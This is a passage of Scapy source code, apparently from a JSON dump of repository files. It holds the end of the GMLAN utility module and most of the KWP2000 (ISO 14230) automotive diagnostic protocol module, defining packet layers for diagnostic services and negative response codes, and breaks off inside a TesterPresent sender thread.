scheme):\n        log_automotive.warning(\"Error: Invalid length %s for scheme %s. \"\n                               \"Choose between 0x1 and %s\",\n                               hex(length), str(scheme), hex(4094 - scheme))\n        return None\n\n    while retry >= 0:\n        # RequestDownload\n        pkt = GMLAN() / GMLAN_RMBA(memoryAddress=addr, memorySize=length)\n        resp = sock.sr1(pkt, timeout=timeout, verbose=False)\n        if _check_response(resp):\n            return cast(Packet, resp).dataRecord\n        retry -= 1\n        if retry >= 0:\n            log_automotive.debug(\"Retrying..\")\n    return None\n\n\ndef GMLAN_BroadcastSocket(interface):\n    # type: (str) -> SuperSocket\n    \"\"\" Returns a GMLAN broadcast socket using interface.\n\n    :param interface: interface name\n    :return: ISOTPSocket configured as GMLAN Broadcast Socket\n    \"\"\"\n    return ISOTPSocket(interface, tx_id=0x101, rx_id=0x0, basecls=GMLAN,\n                       ext_address=0xfe, padding=True)\n"
  },
  {
    "path": "scapy/contrib/automotive/kwp.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Nils Weiss <nils@we155.de>\n\n# scapy.contrib.description = Keyword Protocol 2000 (KWP2000) / ISO 14230\n# scapy.contrib.status = loads\n\nimport struct\n\nfrom scapy.fields import (\n    BitField,\n    ByteEnumField,\n    ByteField,\n    ConditionalField,\n    MayEnd,\n    ObservableDict,\n    StrField,\n    X3BytesField,\n    XByteEnumField,\n    XByteField,\n    XShortEnumField,\n)\nfrom scapy.packet import Packet, bind_layers, NoPayload\nfrom scapy.config import conf\nfrom scapy.error import log_loading\nfrom scapy.utils import PeriodicSenderThread\nfrom scapy.plist import _PacketIterable\nfrom scapy.contrib.isotp import ISOTP\n\nfrom typing import (\n    Dict,\n    Any,\n)\n\n\ntry:\n    if conf.contribs['KWP']['treat-response-pending-as-answer']:\n        pass\nexcept KeyError:\n    log_loading.info(\"Specify \\\"conf.contribs['KWP'] = \"\n                     \"{'treat-response-pending-as-answer': True}\\\" to treat \"\n                     \"a negative response 'requestCorrectlyReceived-\"\n                     \"ResponsePending' as answer of a request. \\n\"\n                     \"The default value is False.\")\n    conf.contribs['KWP'] = {'treat-response-pending-as-answer': False}\n\n\nclass KWP(ISOTP):\n    services = ObservableDict(\n        {0x10: 'StartDiagnosticSession',\n         0x11: 'ECUReset',\n         0x14: 'ClearDiagnosticInformation',\n         0x17: 'ReadStatusOfDiagnosticTroubleCodes',\n         0x18: 'ReadDiagnosticTroubleCodesByStatus',\n         0x1A: 'ReadECUIdentification',\n         0x21: 'ReadDataByLocalIdentifier',\n         0x22: 'ReadDataByIdentifier',\n         0x23: 'ReadMemoryByAddress',\n         0x27: 'SecurityAccess',\n         0x28: 'DisableNormalMessageTransmission',\n         0x29: 'EnableNormalMessageTransmission',\n         0x2C: 'DynamicallyDefineLocalIdentifier',\n         0x2E: 'WriteDataByIdentifier',\n         0x30: 'InputOutputControlByLocalIdentifier',\n         0x31: 'StartRoutineByLocalIdentifier',\n         0x32: 'StopRoutineByLocalIdentifier',\n         0x33: 'RequestRoutineResultsByLocalIdentifier',\n         0x34: 'RequestDownload',\n         0x35: 'RequestUpload',\n         0x36: 'TransferData',\n         0x37: 'RequestTransferExit',\n         0x3B: 'WriteDataByLocalIdentifier',\n         0x3D: 'WriteMemoryByAddress',\n         0x3E: 'TesterPresent',\n         0x85: 'ControlDTCSetting',\n         0x86: 'ResponseOnEvent',\n         0x50: 'StartDiagnosticSessionPositiveResponse',\n         0x51: 'ECUResetPositiveResponse',\n         0x54: 'ClearDiagnosticInformationPositiveResponse',\n         0x57: 'ReadStatusOfDiagnosticTroubleCodesPositiveResponse',\n         0x58: 'ReadDiagnosticTroubleCodesByStatusPositiveResponse',\n         0x5A: 'ReadECUIdentificationPositiveResponse',\n         0x61: 'ReadDataByLocalIdentifierPositiveResponse',\n         0x62: 'ReadDataByIdentifierPositiveResponse',\n         0x63: 'ReadMemoryByAddressPositiveResponse',\n         0x67: 'SecurityAccessPositiveResponse',\n         0x68: 'DisableNormalMessageTransmissionPositiveResponse',\n         0x69: 'EnableNormalMessageTransmissionPositiveResponse',\n         0x6C: 'DynamicallyDefineLocalIdentifierPositiveResponse',\n         0x6E: 'WriteDataByIdentifierPositiveResponse',\n         0x70: 'InputOutputControlByLocalIdentifierPositiveResponse',\n         0x71: 'StartRoutineByLocalIdentifierPositiveResponse',\n         0x72: 'StopRoutineByLocalIdentifierPositiveResponse',\n         0x73: 'RequestRoutineResultsByLocalIdentifierPositiveResponse',\n         0x74: 'RequestDownloadPositiveResponse',\n         0x75: 'RequestUploadPositiveResponse',\n         0x76: 'TransferDataPositiveResponse',\n         0x77: 'RequestTransferExitPositiveResponse',\n         0x7B: 'WriteDataByLocalIdentifierPositiveResponse',\n         0x7D: 'WriteMemoryByAddressPositiveResponse',\n         0x7E: 'TesterPresentPositiveResponse',\n         0xC5: 'ControlDTCSettingPositiveResponse',\n         0xC6: 'ResponseOnEventPositiveResponse',\n         0x7f: 'NegativeResponse'})  # type: Dict[int, str]\n    name = 'KWP'\n    fields_desc = [\n        XByteEnumField('service', 0, services)\n    ]\n\n    def answers(self, other):\n        # type: (Packet) -> bool\n        if not isinstance(other, type(self)):\n            return False\n        if self.service == 0x7f:\n            return self.payload.answers(other)\n        if self.service == (other.service + 0x40):\n            if isinstance(self.payload, NoPayload) or \\\n                    isinstance(other.payload, NoPayload):\n                return len(self) <= len(other)\n            else:\n                return self.payload.answers(other.payload)\n        return False\n\n    def hashret(self):\n        # type: () -> bytes\n        if self.service == 0x7f:\n            return struct.pack('B', self.requestServiceId & ~0x40)\n        else:\n            return struct.pack('B', self.service & ~0x40)\n\n\n# ########################SDS###################################\nclass KWP_SDS(Packet):\n    diagnosticSessionTypes = ObservableDict({\n        0x81: 'defaultSession',\n        0x85: 'programmingSession',\n        0x89: 'standBySession',\n        0x90: 'EcuPassiveSession',\n        0x92: 'extendedDiagnosticSession'})\n    name = 'StartDiagnosticSession'\n    fields_desc = [\n        ByteEnumField('diagnosticSession', 0, diagnosticSessionTypes)\n    ]\n\n\nbind_layers(KWP, KWP_SDS, service=0x10)\n\n\nclass KWP_SDSPR(Packet):\n    name = 'StartDiagnosticSessionPositiveResponse'\n    fields_desc = [\n        ByteEnumField('diagnosticSession', 0,\n                      KWP_SDS.diagnosticSessionTypes),\n    ]\n\n    def answers(self, other):\n        # type: (Packet) -> int\n        return isinstance(other, KWP_SDS) and \\\n            other.diagnosticSession == self.diagnosticSession\n\n\nbind_layers(KWP, KWP_SDSPR, service=0x50)\n\n\n# ######################### KWP_ER ###################################\nclass KWP_ER(Packet):\n    resetModes = {\n        0x00: 'reserved',\n        0x01: 'powerOnReset',\n        0x82: 'nonvolatileMemoryReset'}\n    name = 'ECUReset'\n    fields_desc = [\n        ByteEnumField('resetMode', 0, resetModes)\n    ]\n\n\nbind_layers(KWP, KWP_ER, service=0x11)\n\n\nclass KWP_ERPR(Packet):\n    name = 'ECUResetPositiveResponse'\n\n    def answers(self, other):\n        # type: (Packet) -> int\n        return isinstance(other, KWP_ER)\n\n\nbind_layers(KWP, KWP_ERPR, service=0x51)\n\n\n# ######################### KWP_SA ###################################\nclass KWP_SA(Packet):\n    name = 'SecurityAccess'\n    fields_desc = [\n        ByteField('accessMode', 0),\n        ConditionalField(StrField('key', b\"\"),\n                         lambda pkt: pkt.accessMode % 2 == 0)\n    ]\n\n\nbind_layers(KWP, KWP_SA, service=0x27)\n\n\nclass KWP_SAPR(Packet):\n    name = 'SecurityAccessPositiveResponse'\n    fields_desc = [\n        ByteField('accessMode', 0),\n        ConditionalField(StrField('seed', b\"\"),\n                         lambda pkt: pkt.accessMode % 2 == 1),\n    ]\n\n    def answers(self, other):\n        # type: (Packet) -> int\n        return isinstance(other, KWP_SA) \\\n            and other.accessMode == self.accessMode\n\n\nbind_layers(KWP, KWP_SAPR, service=0x67)\n\n\n# ######################### KWP_IOCBLI ###################################\nclass KWP_IOCBLI(Packet):\n    name = 'InputOutputControlByLocalIdentifier'\n    inputOutputControlParameters = {\n        0x00: \"Return Control to ECU\",\n        0x01: \"Report Current State\",\n        0x04: \"Reset to Default\",\n        0x05: \"Freeze Current State\",\n        0x07: \"Short Term Adjustment\",\n        0x08: \"Long Term Adjustment\"\n    }\n    fields_desc = [\n        XByteField('localIdentifier', 0),\n        XByteEnumField('inputOutputControlParameter', 0,\n                       inputOutputControlParameters),\n        StrField('controlState', b\"\", fmt=\"B\")\n    ]\n\n\nbind_layers(KWP, KWP_IOCBLI, service=0x30)\n\n\nclass KWP_IOCBLIPR(Packet):\n    name = 'InputOutputControlByLocalIdentifierPositiveResponse'\n    fields_desc = [\n        XByteField('localIdentifier', 0),\n        XByteEnumField('inputOutputControlParameter', 0,\n                       KWP_IOCBLI.inputOutputControlParameters),\n        StrField('controlState', b\"\", fmt=\"B\")\n    ]\n\n    def answers(self, other):\n        # type: (Packet) -> int\n        return isinstance(other, KWP_IOCBLI) \\\n            and other.localIdentifier == self.localIdentifier\n\n\nbind_layers(KWP, KWP_IOCBLIPR, service=0x70)\n\n\n# ######################### KWP_DNMT ###################################\nclass KWP_DNMT(Packet):\n    responseTypes = {\n        0x01: 'responseRequired',\n        0x02: 'noResponse',\n    }\n    name = 'DisableNormalMessageTransmission'\n    fields_desc = [\n        ByteEnumField('responseRequired', 0, responseTypes)\n    ]\n\n\nbind_layers(KWP, KWP_DNMT, service=0x28)\n\n\nclass KWP_DNMTPR(Packet):\n    name = 'DisableNormalMessageTransmissionPositiveResponse'\n\n    def answers(self, other):\n        # type: (Packet) -> int\n        return isinstance(other, KWP_DNMT)\n\n\nbind_layers(KWP, KWP_DNMTPR, service=0x68)\n\n\n# ######################### KWP_ENMT ###################################\nclass KWP_ENMT(Packet):\n    responseTypes = {\n        0x01: 'responseRequired',\n        0x02: 'noResponse',\n    }\n    name = 'EnableNormalMessageTransmission'\n    fields_desc = [\n        ByteEnumField('responseRequired', 1, responseTypes)\n    ]\n\n\nbind_layers(KWP, KWP_ENMT, service=0x29)\n\n\nclass KWP_ENMTPR(Packet):\n    name = 'EnableNormalMessageTransmissionPositiveResponse'\n\n    def answers(self, other):\n        # type: (Packet) -> int\n        return isinstance(other, KWP_DNMT)\n\n\nbind_layers(KWP, KWP_ENMTPR, service=0x69)\n\n\n# ######################### KWP_TP ###################################\nclass KWP_TP(Packet):\n    responseTypes = {\n        0x01: 'responseRequired',\n        0x02: 'noResponse',\n    }\n    name = 'TesterPresent'\n    fields_desc = [\n        ByteEnumField('responseRequired', 1, responseTypes)\n    ]\n\n\nbind_layers(KWP, KWP_TP, service=0x3E)\n\n\nclass KWP_TPPR(Packet):\n    name = 'TesterPresentPositiveResponse'\n\n    def answers(self, other):\n        # type: (Packet) -> int\n        return isinstance(other, KWP_TP)\n\n\nbind_layers(KWP, KWP_TPPR, service=0x7E)\n\n\n# ######################### KWP_CDTCS ###################################\nclass KWP_CDTCS(Packet):\n    responseTypes = {\n        0x01: 'responseRequired',\n        0x02: 'noResponse',\n    }\n    DTCGroups = {\n        0x0000: 'allPowertrainDTCs',\n        0x4000: 'allChassisDTCs',\n        0x8000: 'allBodyDTCs',\n        0xC000: 'allNetworkDTCs',\n        0xFF00: 'allDTCs'\n    }\n    DTCSettingModes = {\n        0: 'Reserved',\n        1: 'on',\n        2: 'off'\n    }\n    name = 'ControlDTCSetting'\n    fields_desc = [\n        ByteEnumField('responseRequired', 1, responseTypes),\n        XShortEnumField('groupOfDTC', 0, DTCGroups),\n        ByteEnumField('DTCSettingMode', 0, DTCSettingModes),\n    ]\n\n\nbind_layers(KWP, KWP_CDTCS, service=0x85)\n\n\nclass KWP_CDTCSPR(Packet):\n    name = 'ControlDTCSettingPositiveResponse'\n\n    def answers(self, other):\n        # type: (Packet) -> int\n        return isinstance(other, KWP_CDTCS)\n\n\nbind_layers(KWP, KWP_CDTCSPR, service=0xC5)\n\n\n# ######################### KWP_ROE ###################################\nclass KWP_ROE(Packet):\n    responseTypes = {\n        0x01: 'responseRequired',\n        0x02: 'noResponse',\n    }\n    eventWindowTimes = {\n        0x00: 'reserved',\n        0x01: 'testerPresentRequired',\n        0x02: 'infiniteTimeToResponse',\n        0x80: 'noEventWindow'\n    }\n    eventTypes = {\n        0x80: 'reportActivatedEvents',\n        0x81: 'stopResponseOnEvent',\n        0x82: 'onNewDTC',\n        0x83: 'onTimerInterrupt',\n        0x84: 'onChangeOfRecordValue',\n        0xA0: 'onComparisonOfValues'\n    }\n    name = 'ResponseOnEvent'\n    fields_desc = [\n        ByteEnumField('responseRequired', 1, responseTypes),\n        ByteEnumField('eventWindowTime', 0, eventWindowTimes),\n        MayEnd(ByteEnumField('eventType', 0, eventTypes)),\n        # XXX Is this MayEnd correct?\n        ByteField('eventParameter', 0),\n        ByteEnumField('serviceToRespond', 0, KWP.services),\n        ByteField('serviceParameter', 0)\n    ]\n\n\nbind_layers(KWP, KWP_ROE, service=0x86)\n\n\nclass KWP_ROEPR(Packet):\n    name = 'ResponseOnEventPositiveResponse'\n    fields_desc = [\n        ByteField(\"numberOfActivatedEvents\", 0),\n        MayEnd(ByteEnumField('eventWindowTime', 0, KWP_ROE.eventWindowTimes)),\n        # XXX Is this MayEnd correct?\n        ByteEnumField('eventType', 0, KWP_ROE.eventTypes),\n    ]\n\n    def answers(self, other):\n        # type: (Packet) -> int\n        return isinstance(other, KWP_ROE) \\\n            and other.eventType == self.eventType\n\n\nbind_layers(KWP, KWP_ROEPR, service=0xC6)\n\n\n# ######################### KWP_RDBLI ###################################\nclass KWP_RDBLI(Packet):\n    localIdentifiers = ObservableDict({\n        0xE0: \"Development Data\",\n        0xE1: \"ECU Serial Number\",\n        0xE2: \"DBCom Data\",\n        0xE3: \"Operating System Version\",\n        0xE4: \"Ecu Reprogramming Identification\",\n        0xE5: \"Vehicle Information\",\n        0xE6: \"Flash Info 1\",\n        0xE7: \"Flash Info 2\",\n        0xE8: \"System Diagnostic general parameter data\",\n        0xE9: \"System Diagnostic global parameter data\",\n        0xEA: \"Ecu Configuration\",\n        0xEB: \"Diagnostic Protocol Information\"\n    })\n    name = 'ReadDataByLocalIdentifier'\n    fields_desc = [\n        XByteEnumField('recordLocalIdentifier', 0, localIdentifiers)\n    ]\n\n\nbind_layers(KWP, KWP_RDBLI, service=0x21)\n\n\nclass KWP_RDBLIPR(Packet):\n    name = 'ReadDataByLocalIdentifierPositiveResponse'\n    fields_desc = [\n        XByteEnumField('recordLocalIdentifier', 0, KWP_RDBLI.localIdentifiers)\n    ]\n\n    def answers(self, other):\n        # type: (Packet) -> int\n        return isinstance(other, KWP_RDBLI) \\\n            and self.recordLocalIdentifier == other.recordLocalIdentifier\n\n\nbind_layers(KWP, KWP_RDBLIPR, service=0x61)\n\n\n# ######################### KWP_WDBLI ###################################\nclass KWP_WDBLI(Packet):\n    name = 'WriteDataByLocalIdentifier'\n    fields_desc = [\n        XByteEnumField('recordLocalIdentifier', 0, KWP_RDBLI.localIdentifiers)\n    ]\n\n\nbind_layers(KWP, KWP_WDBLI, service=0x3B)\n\n\nclass KWP_WDBLIPR(Packet):\n    name = 'WriteDataByLocalIdentifierPositiveResponse'\n    fields_desc = [\n        XByteEnumField('recordLocalIdentifier', 0, KWP_RDBLI.localIdentifiers)\n    ]\n\n    def answers(self, other):\n        # type: (Packet) -> int\n        return isinstance(other, KWP_WDBLI) \\\n            and self.recordLocalIdentifier == other.recordLocalIdentifier\n\n\nbind_layers(KWP, KWP_WDBLIPR, service=0x7B)\n\n\n# ######################### KWP_RDBI ###################################\nclass KWP_RDBI(Packet):\n    dataIdentifiers = ObservableDict()\n    name = 'ReadDataByIdentifier'\n    fields_desc = [\n        XShortEnumField('identifier', 0, dataIdentifiers)\n    ]\n\n\nbind_layers(KWP, KWP_RDBI, service=0x22)\n\n\nclass KWP_RDBIPR(Packet):\n    name = 'ReadDataByIdentifierPositiveResponse'\n    fields_desc = [\n        XShortEnumField('identifier', 0, KWP_RDBI.dataIdentifiers),\n    ]\n\n    def answers(self, other):\n        # type: (Packet) -> int\n        return isinstance(other, KWP_RDBI) \\\n            and self.identifier == other.identifier\n\n\nbind_layers(KWP, KWP_RDBIPR, service=0x62)\n\n\n# ######################### KWP_RMBA ###################################\nclass KWP_RMBA(Packet):\n    name = 'ReadMemoryByAddress'\n    fields_desc = [\n        X3BytesField('memoryAddress', 0),\n        ByteField('memorySize', 0)\n    ]\n\n\nbind_layers(KWP, KWP_RMBA, service=0x23)\n\n\nclass KWP_RMBAPR(Packet):\n    name = 'ReadMemoryByAddressPositiveResponse'\n    fields_desc = [\n        StrField('dataRecord', b\"\", fmt=\"B\")\n    ]\n\n    def answers(self, other):\n        # type: (Packet) -> int\n        return isinstance(other, KWP_RMBA)\n\n\nbind_layers(KWP, KWP_RMBAPR, service=0x63)\n\n\n# ######################### KWP_DDLI ###################################\n# TODO: Implement correct interpretation here,\n#       instead of using just the dataRecord\nclass KWP_DDLI(Packet):\n    name = 'DynamicallyDefineLocalIdentifier'\n    definitionModes = {0x1: \"defineByLocalIdentifier\",\n                       0x2: \"defineByMemoryAddress\",\n                       0x3: \"defineByIdentifier\",\n                       0x4: \"clearDynamicallyDefinedLocalIdentifier\"}\n    fields_desc = [\n        XByteField('dynamicallyDefineLocalIdentifier', 0),\n        ByteEnumField('definitionMode', 0, definitionModes),\n        StrField('dataRecord', b\"\", fmt=\"B\")\n    ]\n\n\nbind_layers(KWP, KWP_DDLI, service=0x2C)\n\n\nclass KWP_DDLIPR(Packet):\n    name = 'DynamicallyDefineLocalIdentifierPositiveResponse'\n    fields_desc = [\n        XByteField('dynamicallyDefineLocalIdentifier', 0)\n    ]\n\n    def answers(self, other):\n        # type: (Packet) -> int\n        return isinstance(other, KWP_DDLI) and \\\n            other.dynamicallyDefineLocalIdentifier == self.dynamicallyDefineLocalIdentifier  # noqa: E501\n\n\nbind_layers(KWP, KWP_DDLIPR, service=0x6C)\n\n\n# ######################### KWP_WDBI ###################################\nclass KWP_WDBI(Packet):\n    name = 'WriteDataByIdentifier'\n    fields_desc = [\n        XShortEnumField('identifier', 0, KWP_RDBI.dataIdentifiers)\n    ]\n\n\nbind_layers(KWP, KWP_WDBI, service=0x2E)\n\n\nclass KWP_WDBIPR(Packet):\n    name = 'WriteDataByIdentifierPositiveResponse'\n    fields_desc = [\n        XShortEnumField('identifier', 0, KWP_RDBI.dataIdentifiers),\n    ]\n\n    def answers(self, other):\n        # type: (Packet) -> int\n        return isinstance(other, KWP_WDBI) \\\n            and other.identifier == self.identifier\n\n\nbind_layers(KWP, KWP_WDBIPR, service=0x6E)\n\n\n# ######################### KWP_WMBA ###################################\nclass KWP_WMBA(Packet):\n    name = 'WriteMemoryByAddress'\n    fields_desc = [\n        X3BytesField('memoryAddress', 0),\n        ByteField('memorySize', 0),\n        StrField('dataRecord', b'', fmt=\"B\")\n    ]\n\n\nbind_layers(KWP, KWP_WMBA, service=0x3D)\n\n\nclass KWP_WMBAPR(Packet):\n    name = 'WriteMemoryByAddressPositiveResponse'\n    fields_desc = [\n        X3BytesField('memoryAddress', 0)\n    ]\n\n    def answers(self, other):\n        # type: (Packet) -> int\n        return isinstance(other, KWP_WMBA) and \\\n            other.memoryAddress == self.memoryAddress\n\n\nbind_layers(KWP, KWP_WMBAPR, service=0x7D)\n\n\n# ######################### KWP_CDI ###################################\nclass KWP_CDI(Packet):\n    DTCGroups = {\n        0x0000: 'allPowertrainDTCs',\n        0x4000: 'allChassisDTCs',\n        0x8000: 'allBodyDTCs',\n        0xC000: 'allNetworkDTCs',\n        0xFF00: 'allDTCs'\n    }\n    name = 'ClearDiagnosticInformation'\n    fields_desc = [\n        XShortEnumField('groupOfDTC', 0, DTCGroups)\n    ]\n\n\nbind_layers(KWP, KWP_CDI, service=0x14)\n\n\nclass KWP_CDIPR(Packet):\n    name = 'ClearDiagnosticInformationPositiveResponse'\n\n    fields_desc = [\n        XShortEnumField('groupOfDTC', 0, KWP_CDI.DTCGroups)\n    ]\n\n    def answers(self, other):\n        # type: (Packet) -> int\n        return isinstance(other, KWP_CDI) and \\\n            self.groupOfDTC == other.groupOfDTC\n\n\nbind_layers(KWP, KWP_CDIPR, service=0x54)\n\n\n# ######################### KWP_RSODTC ###################################\nclass KWP_RSODTC(Packet):\n    name = 'ReadStatusOfDiagnosticTroubleCodes'\n    fields_desc = [\n        XShortEnumField('groupOfDTC', 0, KWP_CDI.DTCGroups)\n    ]\n\n\nbind_layers(KWP, KWP_RSODTC, service=0x17)\n\n\nclass KWP_RSODTCPR(Packet):\n    name = 'ReadStatusOfDiagnosticTroubleCodesPositiveResponse'\n\n    fields_desc = [\n        ByteField('numberOfDTC', 0),\n    ]\n\n    def answers(self, other):\n        # type: (Packet) -> int\n        return isinstance(other, KWP_RSODTC)\n\n\nbind_layers(KWP, KWP_RSODTCPR, service=0x57)\n\n\n# ######################### KWP_RECUI ###################################\nclass KWP_RECUI(Packet):\n    name = 'ReadECUIdentification'\n    localIdentifiers = ObservableDict({\n        0x86: \"DCS ECU Identification\",\n        0x87: \"DCX / MMC ECU Identification\",\n        0x88: \"VIN (Original)\",\n        0x89: \"Diagnostic Variant Code\",\n        0x90: \"VIN (Current)\",\n        0x96: \"Calibration Identification\",\n        0x97: \"Calibration Verification Number\",\n        0x9A: \"ECU Code Fingerprint\",\n        0x98: \"ECU Data Fingerprint\",\n        0x9C: \"ECU Code Software Identification\",\n        0x9D: \"ECU Data Software Identification\",\n        0x9E: \"ECU Boot Software Identification\",\n        0x9F: \"ECU Boot Fingerprint\"\n    })\n    fields_desc = [\n        XByteEnumField('localIdentifier', 0, localIdentifiers)\n    ]\n\n\nbind_layers(KWP, KWP_RECUI, service=0x1A)\n\n\nclass KWP_RECUIPR(Packet):\n    name = 'ReadECUIdentificationPositiveResponse'\n\n    fields_desc = [\n        XByteEnumField('localIdentifier', 0, KWP_RECUI.localIdentifiers)\n    ]\n\n    def answers(self, other):\n        # type: (Packet) -> int\n        return isinstance(other, KWP_RECUI) and \\\n            self.localIdentifier == other.localIdentifier\n\n\nbind_layers(KWP, KWP_RECUIPR, service=0x5A)\n\n\n# ######################### KWP_SRBLI ###################################\nclass KWP_SRBLI(Packet):\n    routineLocalIdentifiers = ObservableDict({\n        0xE0: \"FlashEraseRoutine\",\n        0xE1: \"FlashCheckRoutine\",\n        0xE2: \"Tell-TaleRetentionStack\",\n        0xE3: \"RequestDTCsFromShadowErrorMemory\",\n        0xE4: \"RequestEnvironmentDataFromShadowErrorMemory\",\n        0xE5: \"RequestEventInformation\",\n        0xE6: \"RequestEventEnvironmentData\",\n        0xE7: \"RequestSoftwareModuleInformation\",\n        0xE8: \"ClearTell-TaleRetentionStack\",\n        0xE9: \"ClearEventInformation\"\n    })\n    name = 'StartRoutineByLocalIdentifier'\n    fields_desc = [\n        XByteEnumField('routineLocalIdentifier', 0, routineLocalIdentifiers)\n    ]\n\n\nbind_layers(KWP, KWP_SRBLI, service=0x31)\n\n\nclass KWP_SRBLIPR(Packet):\n    name = 'StartRoutineByLocalIdentifierPositiveResponse'\n    fields_desc = [\n        XByteEnumField('routineLocalIdentifier', 0,\n                       KWP_SRBLI.routineLocalIdentifiers)\n    ]\n\n    def answers(self, other):\n        # type: (Packet) -> int\n        return isinstance(other, KWP_SRBLI) \\\n            and other.routineLocalIdentifier == self.routineLocalIdentifier\n\n\nbind_layers(KWP, KWP_SRBLIPR, service=0x71)\n\n\n# ######################### KWP_STRBLI ###################################\nclass KWP_STRBLI(Packet):\n    name = 'StopRoutineByLocalIdentifier'\n    fields_desc = [\n        XByteEnumField('routineLocalIdentifier', 0,\n                       KWP_SRBLI.routineLocalIdentifiers)\n    ]\n\n\nbind_layers(KWP, KWP_STRBLI, service=0x32)\n\n\nclass KWP_STRBLIPR(Packet):\n    name = 'StopRoutineByLocalIdentifierPositiveResponse'\n    fields_desc = [\n        XByteEnumField('routineLocalIdentifier', 0,\n                       KWP_SRBLI.routineLocalIdentifiers)\n    ]\n\n    def answers(self, other):\n        # type: (Packet) -> int\n        return isinstance(other, KWP_STRBLI) \\\n            and other.routineLocalIdentifier == self.routineLocalIdentifier\n\n\nbind_layers(KWP, KWP_STRBLIPR, service=0x72)\n\n\n# ######################### KWP_RRRBLI ###################################\nclass KWP_RRRBLI(Packet):\n    name = 'RequestRoutineResultsByLocalIdentifier'\n    fields_desc = [\n        XByteEnumField('routineLocalIdentifier', 0,\n                       KWP_SRBLI.routineLocalIdentifiers)\n    ]\n\n\nbind_layers(KWP, KWP_RRRBLI, service=0x33)\n\n\nclass KWP_RRRBLIPR(Packet):\n    name = 'RequestRoutineResultsByLocalIdentifierPositiveResponse'\n    fields_desc = [\n        XByteEnumField('routineLocalIdentifier', 0,\n                       KWP_SRBLI.routineLocalIdentifiers)\n    ]\n\n    def answers(self, other):\n        # type: (Packet) -> int\n        return isinstance(other, KWP_RRRBLI) \\\n            and other.routineLocalIdentifier == self.routineLocalIdentifier\n\n\nbind_layers(KWP, KWP_RRRBLIPR, service=0x73)\n\n\n# ######################### KWP_RD ###################################\nclass KWP_RD(Packet):\n    name = 'RequestDownload'\n    fields_desc = [\n        X3BytesField('memoryAddress', 0),\n        BitField('compression', 0, 4),\n        BitField('encryption', 0, 4),\n        X3BytesField('uncompressedMemorySize', 0)\n    ]\n\n\nbind_layers(KWP, KWP_RD, service=0x34)\n\n\nclass KWP_RDPR(Packet):\n    name = 'RequestDownloadPositiveResponse'\n    fields_desc = [\n        StrField('maxNumberOfBlockLength', b\"\", fmt=\"B\"),\n    ]\n\n    def answers(self, other):\n        # type: (Packet) -> int\n        return isinstance(other, KWP_RD)\n\n\nbind_layers(KWP, KWP_RDPR, service=0x74)\n\n\n# ######################### KWP_RU ###################################\nclass KWP_RU(Packet):\n    name = 'RequestUpload'\n    fields_desc = [\n        X3BytesField('memoryAddress', 0),\n        BitField('compression', 0, 4),\n        BitField('encryption', 0, 4),\n        X3BytesField('uncompressedMemorySize', 0)\n    ]\n\n\nbind_layers(KWP, KWP_RU, service=0x35)\n\n\nclass KWP_RUPR(Packet):\n    name = 'RequestUploadPositiveResponse'\n    fields_desc = [\n        StrField('maxNumberOfBlockLength', b\"\", fmt=\"B\"),\n    ]\n\n    def answers(self, other):\n        # type: (Packet) -> int\n        return isinstance(other, KWP_RU)\n\n\nbind_layers(KWP, KWP_RUPR, service=0x75)\n\n\n# ######################### KWP_TD ###################################\nclass KWP_TD(Packet):\n    name = 'TransferData'\n    fields_desc = [\n        ByteField('blockSequenceCounter', 0),\n        StrField('transferDataRequestParameter', b\"\", fmt=\"B\")\n    ]\n\n\nbind_layers(KWP, KWP_TD, service=0x36)\n\n\nclass KWP_TDPR(Packet):\n    name = 'TransferDataPositiveResponse'\n    fields_desc = [\n        ByteField('blockSequenceCounter', 0),\n        StrField('transferDataRequestParameter', b\"\", fmt=\"B\")\n    ]\n\n    def answers(self, other):\n        # type: (Packet) -> int\n        return isinstance(other, KWP_TD) \\\n            and other.blockSequenceCounter == self.blockSequenceCounter\n\n\nbind_layers(KWP, KWP_TDPR, service=0x76)\n\n\n# ######################### KWP_RTE ###################################\nclass KWP_RTE(Packet):\n    name = 'RequestTransferExit'\n    fields_desc = [\n        StrField('transferDataRequestParameter', b\"\", fmt=\"B\")\n    ]\n\n\nbind_layers(KWP, KWP_RTE, service=0x37)\n\n\nclass KWP_RTEPR(Packet):\n    name = 'RequestTransferExitPositiveResponse'\n    fields_desc = [\n        StrField('transferDataRequestParameter', b\"\", fmt=\"B\")\n    ]\n\n    def answers(self, other):\n        # type: (Packet) -> int\n        return isinstance(other, KWP_RTE)\n\n\nbind_layers(KWP, KWP_RTEPR, service=0x77)\n\n\n# ######################### KWP_NR ###################################\nclass KWP_NR(Packet):\n    negativeResponseCodes = {\n        0x00: 'positiveResponse',\n        0x10: 'generalReject',\n        0x11: 'serviceNotSupported',\n        0x12: 'subFunctionNotSupported-InvalidFormat',\n        0x21: 'busyRepeatRequest',\n        0x22: 'conditionsNotCorrect-RequestSequenceError',\n        0x23: 'routineNotComplete',\n        0x31: 'requestOutOfRange',\n        0x33: 'securityAccessDenied-SecurityAccessRequested',\n        0x35: 'invalidKey',\n        0x36: 'exceedNumberOfAttempts',\n        0x37: 'requiredTimeDelayNotExpired',\n        0x40: 'downloadNotAccepted',\n        0x50: 'uploadNotAccepted',\n        0x71: 'transferSuspended',\n        0x78: 'requestCorrectlyReceived-ResponsePending',\n        0x80: 'subFunctionNotSupportedInActiveDiagnosticSession',\n        0x9A: 'dataDecompressionFailed',\n        0x9B: 'dataDecryptionFailed',\n        0xA0: 'EcuNotResponding',\n        0xA1: 'EcuAddressUnknown'\n    }\n    name = 'NegativeResponse'\n    fields_desc = [\n        MayEnd(XByteEnumField('requestServiceId', 0, KWP.services)),\n        # XXX Is this MayEnd correct?\n        ByteEnumField('negativeResponseCode', 0, negativeResponseCodes)\n    ]\n\n    def answers(self, other):\n        # type: (Packet) -> int\n        return self.requestServiceId == other.service and \\\n            (self.negativeResponseCode != 0x78 or\n             conf.contribs['KWP']['treat-response-pending-as-answer'])\n\n\nbind_layers(KWP, KWP_NR, service=0x7f)\n\n\n# ##################################################################\n# ######################## UTILS ###################################\n# ##################################################################\n\nclass KWP_TesterPresentSender(PeriodicSenderThread):\n    def __init__(self, sock, pkt=KWP() / KWP_TP(responseRequired=0x02),\n                 interval=2):\n        # type: (Any, _PacketIterable, float) -> None\n        \"\"\" Thread that sends TesterPresent packets periodically\n\n        :param sock: socket where packet is sent periodically\n        :param pkt: packet to send\n        :param interval: interval between two packets\n        \"\"\"\n        PeriodicSenderThread.__init__(self, sock, pkt, interval)\n\n    def run(self):\n        # type: () -> None\n        while not self._stopped.is_set():\n            for p 